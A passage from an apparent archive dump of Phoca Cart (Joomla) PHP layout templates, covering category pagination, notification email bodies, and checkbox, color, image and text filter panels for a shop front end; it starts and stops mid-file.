xmlns=\'http://www.w3.org/2000/svg\' viewBox=\'0 0
'.(int)$d['t']['medium_image_width'] .'
'.(int)$d['t']['medium_image_height']
.'\'%3E%3C/svg%3E';
if (isset($d['t']['image_width_cats']) &&
$d['t']['image_width_cats'] != '' &&
isset($d['t']['image_height_cats']) &&
$d['t']['image_height_cats'] != '') {
$d['image']['style'] =
'style="width:'.$d['t']['image_width_cats'].';height:'.$d['t']['image_height_cats'].'"';
$srcPlaceHolder = 'data:image/svg+xml,%3Csvg
xmlns=\'http://www.w3.org/2000/svg\' viewBox=\'0 0
'.(int)$d['t']['image_width_cats'] .'
'.(int)$d['t']['image_height_cats']
.'\'%3E%3C/svg%3E';
}
$class =
PhocacartRenderFront::completeClass(array($d['s']['c']['img-responsive'],
'ph-image', $d['t']['class_lazyload']));
$src =
JURI::base(true).'/'.$d['image']['image']->rel;
$srcImg =
JURI::base(true).'/'.$d['image']['image']->rel;
// fallback
if ($d['t']['display_webp_images'] == 1) {
$srcWebP =
JURI::base(true).'/'.$d['image']['image']->rel_webp;
$srcSetWebP =
JURI::base(true).'/'.$d['image']['image']->rel_webp;
if ($d['t']['lazy_load_categories'] == 1) {
echo '<picture>';
echo '<source type="image/webp"
data-src="'. $srcWebP.'" alt="' . $altValue .
'" class="' . $class . '" ' .
$d['image']['style'] . ' data-srcset="'
. $srcSetWebP . '" />';
echo '<img src="'.$srcPlaceHolder.'"
data-src="'. $src.'"
alt="'.$altValue.'"
class="'.$class.'"
'.$d['image']['style'].' />';
echo '</picture>';
} else {
echo '<picture>';
echo '<source type="image/webp" alt="'
. $altValue . '" class="' . $class . '"
' . $d['image']['style'] . '
srcset="' . $srcSetWebP . '" />';
echo '<img src="' . $srcImg . '"
alt="' . $altValue . '" class="' . $class .
'" ' . $d['image']['style'] . '
/>';
echo '</picture>';
}
} else {
if (($d['t']['view'] == 'categories'
&& $d['t']['lazy_load_categories'] == 1) ||
(($d['t']['view'] == 'category' ||
$d['t']['view'] == 'items') &&
$d['t']['lazy_load_category_items'] == 1)) {
echo '<img src="'.$srcPlaceHolder.'"
data-src="'. $src.'"
alt="'.$altValue.'"
class="'.$class.'"
'.$d['image']['style'].' />';
} else {
echo '<img src="'. $src.'"
alt="'.$altValue.'"
class="'.$class.'"
'.$d['image']['style'].' />';
}
}
?>
category_pagination.php000064400000004616151165411770011322
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
$d = $displayData;
echo '<div class="ph-cb"></div>';
echo '<form
action="'.$d['t']['action'].'"
method="post" name="adminForm">'.
"\n";
echo '<div
class="'.$d['s']['c']['row'].'
ph-pagination">';
if ($d['t']['show_pagination']) {
echo '<div
class="'.$d['s']['c']['col.xs12.sm6.md6'].'
ph-center-pagination">';
if ($d['t']['display_item_ordering']) {
echo $d['t']['display_pagination_labels'] == 1 ?
JText::_('COM_PHOCACART_ORDER_FRONT') .': ' :
'';
echo str_replace( 'class="inputbox"',
'class="'.$d['s']['c']['inputbox.form-control'].'
chosen-select" style="width: 16em"
aria-label="'.JText::_('COM_PHOCACART_ORDER_FRONT').'"',
$d['t']['ordering']);
}
echo '</div>';
echo '<div
class="'.$d['s']['c']['col.xs12.sm6.md6'].'
ph-center-pagination">';
if ($d['t']['show_pagination_limit'] ) {
echo $d['t']['display_pagination_labels'] == 1 ?
JText::_('COM_PHOCACART_DISPLAY_NUM') .': ' :
'';
echo str_replace( 'class="inputbox"',
'class="'.$d['s']['c']['inputbox.form-control'].'
chosen-select"
aria-label="'.JText::_('COM_PHOCACART_DISPLAY_NUM').'"',
$d['t']['pagination']->getLimitBox());
}
echo '</div>';
echo '<div class="ph-cb"></div>';
// .phPaginationBox used for AJAX pagination
echo '<div
class="'.$d['s']['c']['col.xs12.sm12.md12'].'
ph-center-pagination pagination phPaginationBox">'.
str_replace( 'class="inputbox"',
'class="'.$d['s']['c']['inputbox.form-control'].'
chosen-select"',
$d['t']['pagination']->getPagesLinks()) .
'</div>';
echo '<div class="ph-cb"></div>';
echo '<div
class="'.$d['s']['c']['col.xs12.sm12.md12'].'
ph-center-pagination ph-pagination-mt pagination">';
echo str_replace( 'class="inputbox"',
'class="'.$d['s']['c']['inputbox.form-control'].'
chosen-select"',
$d['t']['pagination']->getPagesCounter());
echo '</div>';
echo '<div class="ph-cb"></div>';
}
echo '</div>';
if ($d['t']['ajax_pagination_category'] == 1) {
echo '<input type="hidden" name="format"
value="raw" />';
}
echo Joomla\CMS\HTML\HTMLHelper::_( 'form.token' );
echo '</form>';
?>
category_pagination_top.php000064400000006024151165411770012177
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
$d = $displayData;
echo '<div class="ph-cb"></div>';
echo '<form id="phItemTopBoxForm"
action="'.$d['t']['action'].'"
method="post" name="phitemstopboxform">'.
"\n";
echo '<div
class="'.$d['s']['c']['row'].'
ph-pagination-top">';
if ($d['t']['show_pagination_top']) {
echo '<div
class="'.$d['s']['c']['col.xs12.sm5.md5'].'
ph-pag-top-row">';
if ($d['t']['display_item_ordering_top']) {
$ordering = str_replace( 'class="inputbox"',
'class="'.$d['s']['c']['inputbox.form-control'].'
chosen-select" style="width: 16em;"
aria-label="'.JText::_('COM_PHOCACART_ORDER_FRONT').'"',
$d['t']['ordering']);
$ordering = str_replace( 'id="itemordering"',
'id="itemorderingtop"
aria-label="'.JText::_('COM_PHOCACART_ORDER_FRONT').'"',
$ordering);// possible two the same ID
echo $d['t']['display_pagination_labels'] == 1 ?
JText::_('COM_PHOCACART_ORDER_FRONT') .': ' :
'';
echo $ordering;
}
echo '</div>';
echo '<div
class="'.$d['s']['c']['col.xs12.sm3.md3'].'
ph-pag-top-row">';
if ($d['t']['show_pagination_limit_top']) {
$limit = str_replace( 'class="inputbox"',
'class="'.$d['s']['c']['inputbox.form-control'].'
chosen-select"
aria-label="'.JText::_('COM_PHOCACART_DISPLAY_NUM').'"',
$d['t']['pagination']->getLimitBox());
$limit = str_replace( 'id="limit"',
'id="limittop"
aria-label="'.JText::_('COM_PHOCACART_DISPLAY_NUM').'"',
$limit);// possible two the same ID
echo $d['t']['display_pagination_labels'] == 1 ?
JText::_('COM_PHOCACART_DISPLAY_NUM') .': ' :
'';
echo $limit;
}
echo '</div>';
echo '<div
class="'.$d['s']['c']['col.xs12.sm4.md4'].'
ph-pag-top-row">';
if ($d['t']['show_switch_layout_type']) {
echo '<button type="button"
aria-label="'.JText::_('COM_PHOCACART_GRID').'"
class="'.$d['s']['c']['btn.btn-default'].'
phItemSwitchLayoutType grid
'.$d['t']['layouttypeactive'][0].'"
data-layouttype="grid"><span
class="'.$d['s']['i']['grid'].'"></span></button>
';
echo '<button type="button"
aria-label="'.JText::_('COM_PHOCACART_GRID_LIST').'"
class="'.$d['s']['c']['btn.btn-default'].'
phItemSwitchLayoutType gridlist
'.$d['t']['layouttypeactive'][1].'"
data-layouttype="gridlist"><span
class="'.$d['s']['i']['gridlist'].'"></span></button>
';
echo '<button type="button"
aria-label="'.JText::_('COM_PHOCACART_LIST').'"
class="'.$d['s']['c']['btn.btn-default'].'
phItemSwitchLayoutType list
'.$d['t']['layouttypeactive'][2].'"
data-layouttype="list"><span
class="'.$d['s']['i']['list'].'"></span></button>';
}
echo '</div>';
echo '<div class="ph-cb"></div>';
}
echo '</div>';
echo '<input type="hidden" name="format"
value="raw" />';
echo Joomla\CMS\HTML\HTMLHelper::_( 'form.token' );
echo '</form>';
?>
email_ask_question.php000064400000003615151165411770011146
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
$d = $displayData;
$displayData = null;
?>
<p><?php echo JText::_(
'COM_PHOCACART_NEW_QUESTION_POSTED' ) ?></p>
<table style="border:0">
<?php if (isset($d['name']) && $d['name']
!= '') { ?>
<tr style="border:0">
<td style="border:0"><?php echo JText::_(
'COM_PHOCACART_NAME' ) ?>:</td>
<td style="border:0"><?php echo $d['name']
?></td>
</tr>
<?php } ?>
<?php if (isset($d['email']) && $d['email']
!= '') { ?>
<tr style="border:0">
<td style="border:0"><?php echo JText::_(
'COM_PHOCACART_EMAIL' ) ?>:</td>
<td style="border:0"><?php echo $d['email']
?></td>
</tr>
<?php } ?>
<?php if (isset($d['phone']) && $d['phone']
!= '') { ?>
<tr style="border:0">
<td style="border:0"><?php echo JText::_(
'COM_PHOCACART_PHONE' ) ?>:</td>
<td style="border:0"><?php echo $d['phone']
?></td>
</tr>
<?php } ?>
<tr style="border:0">
<td style="border:0"><?php echo JText::_(
'COM_PHOCACART_DATE' ) ?>:</td>
<td style="border:0"><?php echo
Joomla\CMS\HTML\HTMLHelper::_('date', gmdate('Y-m-d
H:i:s'), JText::_( 'DATE_FORMAT_LC2' )) ?></td>
</tr>
</table>
<p><?php echo JText::_( 'COM_PHOCACART_SUBJECT' ) ?>:
<b><?php echo $d['subject'] ?></b></p>
<p><?php echo JText::_( 'COM_PHOCACART_MESSAGE' )
?>:</p>
<div><?php echo
PhocacartUtils::wordDelete($d['message'],
$d['numcharemail'], '...') ?></div>
<p> </p>
<p><a href="<?php echo $d['url']
?>"><?php echo $d['url'] ?></a></p>
<p> </p>
<p><?php echo JText::_( 'COM_PHOCACART_REGARDS' )
?>,<br><?php echo $d['sitename'] ?></p>
<p> </p>
email_submit_item.php000064400000004101151165411770010751 0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
$d = $displayData;
$displayData = null;
?>
<p><?php echo JText::_(
'COM_PHOCACART_NEW_ITEM_SUBMITTED' ) ?></p>
<table style="border:0">
<?php if (isset($d['name']) && $d['name']
!= '') { ?>
<tr style="border:0">
<td style="border:0"><?php echo JText::_(
'COM_PHOCACART_NAME' ) ?>:</td>
<td style="border:0"><?php echo $d['name']
?></td>
</tr>
<?php } ?>
<?php if (isset($d['email']) && $d['email']
!= '') { ?>
<tr style="border:0">
<td style="border:0"><?php echo JText::_(
'COM_PHOCACART_EMAIL' ) ?>:</td>
<td style="border:0"><?php echo $d['email']
?></td>
</tr>
<?php } ?>
<?php if (isset($d['phone']) && $d['phone']
!= '') { ?>
<tr style="border:0">
<td style="border:0"><?php echo JText::_(
'COM_PHOCACART_PHONE' ) ?>:</td>
<td style="border:0"><?php echo $d['phone']
?></td>
</tr>
<?php } ?>
<?php if (isset($d['title']) &&
$d['title'] != '') { ?>
<tr style="border:0">
<td style="border:0"><?php echo JText::_(
'COM_PHOCACART_TITLE' ) ?>:</td>
<td style="border:0"><?php echo $d['title']
?></td>
</tr>
<?php } ?>
<tr style="border:0">
<td style="border:0"><?php echo JText::_(
'COM_PHOCACART_DATE' ) ?>:</td>
<td style="border:0"><?php echo
Joomla\CMS\HTML\HTMLHelper::_('date', gmdate('Y-m-d
H:i:s'), JText::_( 'DATE_FORMAT_LC2' )) ?></td>
</tr>
</table>
<p><?php echo JText::_( 'COM_PHOCACART_SUBJECT' ) ?>:
<b><?php echo $d['subject'] ?></b></p>
<div><?php echo
PhocacartUtils::wordDelete($d['message'],
$d['numcharemail'], '...') ?></div>
<p> </p>
<p><a href="<?php echo $d['url']
?>"><?php echo $d['url'] ?></a></p>
<p> </p>
<p><?php echo JText::_( 'COM_PHOCACART_REGARDS' )
?>,<br><?php echo $d['sitename'] ?></p>
<p> </p>
form_filter_checkbox.php000064400000007041151165411770011445
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
$d = $displayData;
$displayData = null;
$dParamAttr = str_replace(array('[',']'),
'', $d['param']);
if ($d['params']['open_filter_panel'] == 0) {
$d['collapse_class'] =
$d['s']['c']['panel-collapse.collapse'];
$d['triangle_class'] =
$d['s']['i']['triangle-right'];
} else if ($d['params']['open_filter_panel'] == 2) {
$d['collapse_class'] =
$d['s']['c']['panel-collapse.collapse'];//
closed as default and wait if there is some active item to open it
$d['triangle_class'] =
$d['s']['i']['triangle-right'];
} else {
$d['collapse_class'] =
$d['s']['c']['panel-collapse.collapse.in'];
$d['triangle_class'] =
$d['s']['i']['triangle-bottom'];
}
$output = '';
foreach ($d['items'] as $k => $v) {
$checked = '';
$value = htmlspecialchars($v->alias);
if (isset($d['nrinalias']) &&
$d['nrinalias'] == 1) {
$value = (int)$v->id .'-'.
htmlspecialchars($v->alias);
}
if (in_array($value, $d['getparams'])) {
$checked = 'checked';
$d['collapse_class'] =
$d['s']['c']['panel-collapse.collapse.in'];
}
$jsSet = '';
if (isset($d['forcecategory']['idalias'])
&& $d['forcecategory']['idalias'] !=
'') {
// Category View - force the category parameter if set in
parameters
$jsSet .= 'phChangeFilter(\'c\',
\''.$d['forcecategory']['idalias'].'\',
1, \'text\', 0, 1, 1);';
}
$jsSet .=
'phChangeFilter(\''.$d['param'].'\',
\''. $value.'\', this,
\''.$d['formtype'].'\',\''.$d['uniquevalue'].'\',
0, 1);';
$count = '';
if (isset($v->count_products) &&
isset($d['params']['display_count']) &&
$d['params']['display_count'] == 1 ) {
$count = ' <span
class="ph-filter-count">'.(int)$v->count_products.'</span>';
}
$output .= '<div class="checkbox">';
$output .= '<label
class="ph-checkbox-container"><input
type="checkbox" name="tag"
value="'.$value.'" '.$checked.'
onchange="'.$jsSet.'"
/>'.$v->title.$count.'<span
class="ph-checkbox-checkmark"></span></label>';
$output .= '</div>';
}
$title = isset($d['titleheader']) &&
$d['titleheader'] != '' ? $d['titleheader'] :
$d['title'];
?><div class="<?php echo
$d['s']['c']['panel.panel-default'] ?>
panel-<?php echo $dParamAttr; ?>">
<div class="<?php echo
$d['s']['c']['panel-heading'] ?>"
role="tab" id="heading<?php echo $dParamAttr;
?>">
<h4 class="<?php echo
$d['s']['c']['panel-title'] ?>">
<a data-toggle="collapse" href="#collapse<?php echo
$dParamAttr; ?>" aria-expanded="true"
aria-controls="collapse<?php echo $dParamAttr; ?>"
class="panel-collapse" aria-label="<?php echo
JText::_('COM_PHOCACART_COLLAPSE') . ' ' .
$d['title'] ?>"><span class="<?php echo
$d['triangle_class'] ?>"></span></a>
<a data-toggle="collapse" href="#collapse<?php echo
$dParamAttr; ?>" aria-expanded="true"
aria-controls="collapse<?php echo$dParamAttr; ?>"
class="panel-collapse" aria-label="<?php echo $title
?>"><?php echo $title ?></a>
</h4>
</div>
<div id="collapse<?php echo $dParamAttr; ?>"
class="<?php echo $d['collapse_class'] ?>"
role="tabpanel" aria-labelledby="heading<?php echo
$dParamAttr; ?>">
<div class="<?php echo
$d['s']['c']['panel-body'] ?>">
<?php echo $output ?>
</div>
</div>
</div>
form_filter_checkbox_categories.php000064400000003133151165411770013650
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
$d = $displayData;
$displayData = null;
$dParamAttr = str_replace(array('[',']'),
'', $d['param']);
?>
<div class="<?php echo
$d['s']['c']['panel.panel-default'] ?>
panel-<?php echo $dParamAttr; ?>">
<div class="<?php echo
$d['s']['c']['panel-heading'] ?>"
role="tab" id="heading<?php echo $dParamAttr;
?>">
<h4 class="<?php echo
$d['s']['c']['panel-title'] ?>">
<a data-toggle="collapse" href="#collapse<?php echo
$dParamAttr; ?>" aria-expanded="true"
aria-controls="collapse<?php echo $dParamAttr; ?>"
class="panel-collapse" aria-label="<?php echo
JText::_('COM_PHOCACART_COLLAPSE') . ' ' .
$d['title'] ?>"><span class="<?php echo
$d['triangle_class'] ?>"></span></a>
<a data-toggle="collapse" href="#collapse<?php echo
$dParamAttr; ?>" aria-expanded="true"
aria-controls="collapse<?php echo$dParamAttr; ?>"
class="panel-collapse" aria-label="<?php echo
$d['title'] ?>"><?php echo $d['title']
?></a>
</h4>
</div>
<div id="collapse<?php echo $dParamAttr; ?>"
class="<?php echo $d['collapse_class'] ?>"
role="tabpanel" aria-labelledby="heading<?php echo
$dParamAttr; ?>">
<div class="<?php echo
$d['s']['c']['panel-body']
?>"><div
class="ph-filter-module-categories-tree">
<?php echo $d['output'];?>
</div></div>
</div>
</div>
form_filter_color.php000064400000007255151165411770011004 0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
$d = $displayData;
$displayData = null;
$dParamAttr = str_replace(array('[',']'),
'', $d['param']);
$iconType = $d['s']['i']['icon-type'];
if ($d['params']['open_filter_panel'] == 0) {
$d['collapse_class'] =
$d['s']['c']['panel-collapse.collapse'];
$d['triangle_class'] =
$d['s']['i']['triangle-right'];
} else if ($d['params']['open_filter_panel'] == 2) {
$d['collapse_class'] =
$d['s']['c']['panel-collapse.collapse'];//
closed as default and wait if there is some active item to open it
$d['triangle_class'] =
$d['s']['i']['triangle-right'];
} else {
$d['collapse_class'] =
$d['s']['c']['panel-collapse.collapse.in'];
$d['triangle_class'] =
$d['s']['i']['triangle-bottom'];
}
// This output is outside html to get the useful information from foreach
about if the panel is active (this is needed to open or clode the panel)
$output = '';
foreach ($d['items'] as $k => $v) {
$checked = '';
$checkedInt = 0;
$value = htmlspecialchars($v->alias);
if (isset($d['nrinalias']) &&
$d['nrinalias'] == 1) {
$value = (int)$v->id .'-'.
htmlspecialchars($v->alias);
}
if (in_array($value, $d['getparams'])) {
$checked = 'checked';
$checkedInt = 0;
} else {
$checkedInt = 1;
}
$class = $iconType . ' ';
if ($checked) {
$class .= 'on';
$d['collapse_class'] =
$d['s']['c']['panel-collapse.collapse.in'];
}
if (isset($v->color) && $v->color != '') {
$jsSet = '';
if (isset($d['forcecategory']['idalias'])
&& $d['forcecategory']['idalias'] !=
'') {
// Category View - force the category parameter if set in
parameters
$jsSet .= 'phChangeFilter(\'c\',
\''.$d['forcecategory']['idalias'].'\',
1, \'text\', 0, 1, 1);';
}
$jsSet .=
'phChangeFilter(\''.$d['param'].'\',
\''. $value.'\', '.(int)$checkedInt.',
\''.$d['formtype'].'\',
\''.$d['uniquevalue'].'\', 0, 1);return
false;';
$output .= '<a href="#"
class="phSelectBoxButton '.$class.'
color-'.str_replace('#', '',
$v->color).'"
style="background-color:'.$v->color.'"
onclick="'.$jsSet.'"
title="'.htmlspecialchars($v->title).'"> </a>';
}
}
$title = isset($d['titleheader']) &&
$d['titleheader'] != '' ? $d['titleheader'] :
$d['title'];
?>
<div class="<?php echo
$d['s']['c']['panel.panel-default'] ?>
panel-<?php echo $dParamAttr; ?>">
<div class="<?php echo
$d['s']['c']['panel-heading'] ?>"
role="tab" id="heading<?php echo $dParamAttr;
?>">
<h4 class="<?php echo
$d['s']['c']['panel-title'] ?>">
<a data-toggle="collapse" href="#collapse<?php echo
$dParamAttr; ?>" aria-expanded="true"
aria-controls="collapse<?php echo $dParamAttr; ?>"
class="panel-collapse"><span class="<?php echo
$d['triangle_class'] ?>"></span></a>
<a data-toggle="collapse" href="#collapse<?php echo
$dParamAttr; ?>" aria-expanded="true"
aria-controls="collapse<?php echo$dParamAttr; ?>"
class="panel-collapse"><?php echo $title ?></a>
</h4>
</div>
<div id="collapse<?php echo $dParamAttr; ?>"
class="<?php echo $d['collapse_class'] ?>"
role="tabpanel" aria-labelledby="heading<?php echo
$dParamAttr; ?>">
<div class="<?php echo
$d['s']['c']['panel-body'] ?>
ph-panel-body-color">
<div class="ph-mod-color-box">
<?php echo $output ?>
</div>
</div>
</div>
</div>
form_filter_image.php000064400000007422151165411770010744 0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
$d = $displayData;
$displayData = null;
$dParamAttr = str_replace(array('[',']'),
'', $d['param']);
$iconType = $d['s']['i']['icon-type'];
if ($d['params']['open_filter_panel'] == 0) {
$d['collapse_class'] =
$d['s']['c']['panel-collapse.collapse'];
$d['triangle_class'] =
$d['s']['i']['triangle-right'];
} else if ($d['params']['open_filter_panel'] == 2) {
$d['collapse_class'] =
$d['s']['c']['panel-collapse.collapse'];//
closed as default and wait if there is some active item to open it
$d['triangle_class'] =
$d['s']['i']['triangle-right'];
} else {
$d['collapse_class'] =
$d['s']['c']['panel-collapse.collapse.in'];
$d['triangle_class'] =
$d['s']['i']['triangle-bottom'];
}
// This output is outside html to get the useful information from foreach
about if the panel is active (this is needed to open or clode the panel)
$output = '';
foreach ($d['items'] as $k => $v) {
$checked = '';
$checkedInt = 0;
$value = htmlspecialchars($v->alias);
if (isset($d['nrinalias']) &&
$d['nrinalias'] == 1) {
$value = (int)$v->id .'-'.
htmlspecialchars($v->alias);
}
if (in_array($value, $d['getparams'])) {
$checked = 'checked';
$checkedInt = 0;
} else {
$checkedInt = 1;
}
$class = $iconType . ' ';
if ($checked) {
$class .= 'on';
$d['collapse_class'] =
$d['s']['c']['panel-collapse.collapse.in'];
}
if (isset($v->image_small) && $v->image_small !=
'') {
$linkI =
JURI::base(true).'/'.$d['pathitem']['orig_rel'].'/'.$v->image_small;
$jsSet = '';
if (isset($d['forcecategory']['idalias'])
&& $d['forcecategory']['idalias'] !=
'') {
// Category View - force the category parameter if set in
parameters
$jsSet .= 'phChangeFilter(\'c\',
\''.$d['forcecategory']['idalias'].'\',
1, \'text\', 0, 1, 1);';
}
$jsSet .=
'phChangeFilter(\''.$d['param'].'\',
\''. $value.'\', '.(int)$checkedInt.',
\''.$d['formtype'].'\',
\''.$d['uniquevalue'].'\', 0, 1);return
false;';
$output .= '<a href="#"
class="phSelectBoxImage '.$class.'"
onclick="'.$jsSet.'"
title="'.htmlspecialchars($v->title).'">'
.'<img
style="'.$d['style'].'"
src="'.$linkI.'"
alt="'.$v->title.'" />'
.'</a>';
}
}
$title = isset($d['titleheader']) &&
$d['titleheader'] != '' ? $d['titleheader'] :
$d['title'];
?>
<div class="<?php echo
$d['s']['c']['panel.panel-default'] ?>
panel-<?php echo $dParamAttr; ?>">
<div class="<?php echo
$d['s']['c']['panel-heading'] ?>"
role="tab" id="heading<?php echo $dParamAttr;
?>">
<h4 class="<?php echo
$d['s']['c']['panel-title'] ?>">
<a data-toggle="collapse" href="#collapse<?php echo
$dParamAttr; ?>" aria-expanded="true"
aria-controls="collapse<?php echo $dParamAttr; ?>"
class="panel-collapse"><span class="<?php echo
$d['triangle_class'] ?>"></span></a>
<a data-toggle="collapse" href="#collapse<?php echo
$dParamAttr; ?>" aria-expanded="true"
aria-controls="collapse<?php echo$dParamAttr; ?>"
class="panel-collapse"><?php echo $title ?></a>
</h4>
</div>
<div id="collapse<?php echo $dParamAttr; ?>"
class="<?php echo $d['collapse_class'] ?>"
role="tabpanel" aria-labelledby="heading<?php echo
$dParamAttr; ?>">
<div class="<?php echo
$d['s']['c']['panel-body'] ?>
ph-panel-body-color">
<div class="ph-mod-color-box">
<?php echo $output ?>
</div>
</div>
</div>
</div>
form_filter_text.php000064400000016435151165411770010652 0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
$d = $displayData;
$d['paramname'] = str_replace('_', '',
$d['param']);
if (isset($d['param2']) && $d['param2'] !=
'') {
$d['param2name'] = str_replace('_', '',
$d['param2']);
}
if (isset($d['param2']) && $d['param2'] !=
'') {
// We have second parameter, so in first we define that the javascript
should wait with re-direct
$jsSet = '';
if (isset($d['forcecategory']['idalias'])
&& $d['forcecategory']['idalias'] !=
'') {
// Category View - force the category parameter if set in
parameters
$jsSet .= 'phChangeFilter(\'c\',
\''.$d['forcecategory']['idalias'].'\',
1, \'text\', 0, 1, 1);';
}
$jsSet .=
'phChangeFilter(\''.$d['param'].'\',
jQuery(\'#'. $d['id'].'
input[name="'.$d['paramname'].'"]\').val(),
1, \'text\', 1, 1, 1);';
$jsSet .=
'phChangeFilter(\''.$d['param2'].'\',
jQuery(\'#'. $d['id'].'
input[name="'.$d['param2name'].'"]\').val(),
1, \'text\', 1, 0, 1);';
$jsClear =
'phClearField(\'#'.$d['id'].$d['paramname'].'\');';
$jsClear .=
'phClearField(\'#'.$d['id'].$d['param2name'].'\');';
$jsClear .=
'phChangeFilter(\''.$d['param'].'\',
\'\', 0, \'text\', 1, 1, 1);';
$jsClear .=
'phChangeFilter(\''.$d['param2'].'\',
\'\', 0, \'text\', 1, 0, 1);';
} else {
// We have only one parameter so we don't need define wait and the
site is reloaded immediately
$jsSet = '';
if (isset($d['forcecategory']['idalias'])
&& $d['forcecategory']['idalias'] !=
'') {
// Category View - force the category parameter if set in
parameters
$jsSet .= 'phChangeFilter(\'c\',
\''.$d['forcecategory']['idalias'].'\',
1, \'text\', 0, 1, 1);';
}
$jsSet .=
'phChangeFilter(\''.$d['param'].'\',
jQuery(\'#'. $d['id'].'
input[name="'.$d['paramname'].'"]\').val(),
1, \'text\', 1, 0, 1);';
$jsClear=
'phChangeFilter(\''.$d['param'].'\',
\'\', 0, \'text\', 1, 0 , 1);';
}
// Display Price input text or Price input range or both
$styleFormGroup = '';
if (isset($d['filterprice']) &&
$d['filterprice'] == 2) {
// Hide form input text of price from and price to in case
// only range (graphic output) should be displayed
// 1 ... display only input text
// 3 ... display input text and input range
// 2 ... display only input range (the input text will be hidden because
they values we need to manage the form)
$styleFormGroup = 'style="display:none"';
}
$title = isset($d['titleheader']) &&
$d['titleheader'] != '' ? $d['titleheader'] :
$d['title'];
$displayData = null;
?>
<div class="<?php echo
$d['s']['c']['panel.panel-default'] ?>
panel-<?php echo $d['param']; ?>">
<div class="<?php echo
$d['s']['c']['panel-heading'] ?>"
role="tab" id="heading<?php echo $d['param'];
?>">
<h4 class="<?php echo
$d['s']['c']['panel-title'] ?>">
<a data-toggle="collapse" href="#collapse<?php echo
$d['param']; ?>" aria-expanded="true"
aria-controls="collapse<?php echo $d['param'];
?>" class="panel-collapse" aria-label="<?php echo
JText::_('COM_PHOCACART_COLLAPSE') . ' ' . $title
?>"><span class="<?php echo
$d['triangle_class'] ?>"></span></a>
<a data-toggle="collapse" href="#collapse<?php echo
$d['param']; ?>" aria-expanded="true"
aria-controls="collapse<?php echo $d['param'];
?>" class="panel-collapse" aria-label="<?php echo
$title ?>"><?php echo $title ?></a>
</h4>
</div>
<div id="collapse<?php echo $d['param']; ?>"
class="<?php echo $d['collapse_class'] ?>"
role="tabpanel" aria-labelledby="heading<?php echo
$d['param']; ?>">
<div class="<?php echo
$d['s']['c']['panel-body'] ?> <?php
echo $d['s']['c']['form-horizontal']
?>" id="<?php echo $d['id']; ?>">
<div class="<?php echo
$d['s']['c']['form-group'] ?> <?php
echo $d['s']['c']['row'] ?>" <?php
echo $styleFormGroup ?>>
<label class="<?php echo
$d['s']['c']['col.xs12.sm5.md5'] ?>"
for="<?php echo $d['id'].$d['paramname'];
?>"><?php echo $d['title1']; ?></label>
<div class="<?php echo
$d['s']['c']['col.xs12.sm7.md7']
?>"><input type="text" class="<?php echo
$d['s']['c']['form-control'] ?>"
name="<?php echo $d['paramname']; ?>"
value="<?php echo $d['getparams'][0]; ?>"
id="<?php echo $d['id'].$d['paramname'];
?>" /></div>
</div>
<?php
if (isset($d['param2']) && $d['param2'] !=
'') { ?>
<div class="<?php echo
$d['s']['c']['form-group'] ?> <?php
echo $d['s']['c']['row'] ?>" <?php
echo $styleFormGroup ?>>
<label class="<?php echo
$d['s']['c']['col.xs12.sm5.md5'] ?>"
for="<?php echo $d['id'].$d['param2name'];
?>"><?php echo $d['title2']; ?></label>
<div class="<?php echo
$d['s']['c']['col.xs12.sm7.md7']
?>"><input type="text" class="<?php echo
$d['s']['c']['form-control'] ?>"
name="<?php echo $d['param2name']; ?>"
value="<?php echo $d['getparams2'][0]; ?>"
id="<?php echo $d['id'].$d['param2name'];
?>" /></div>
</div>
<?php } ?>
<?php
// Display filter price range (graphic range)
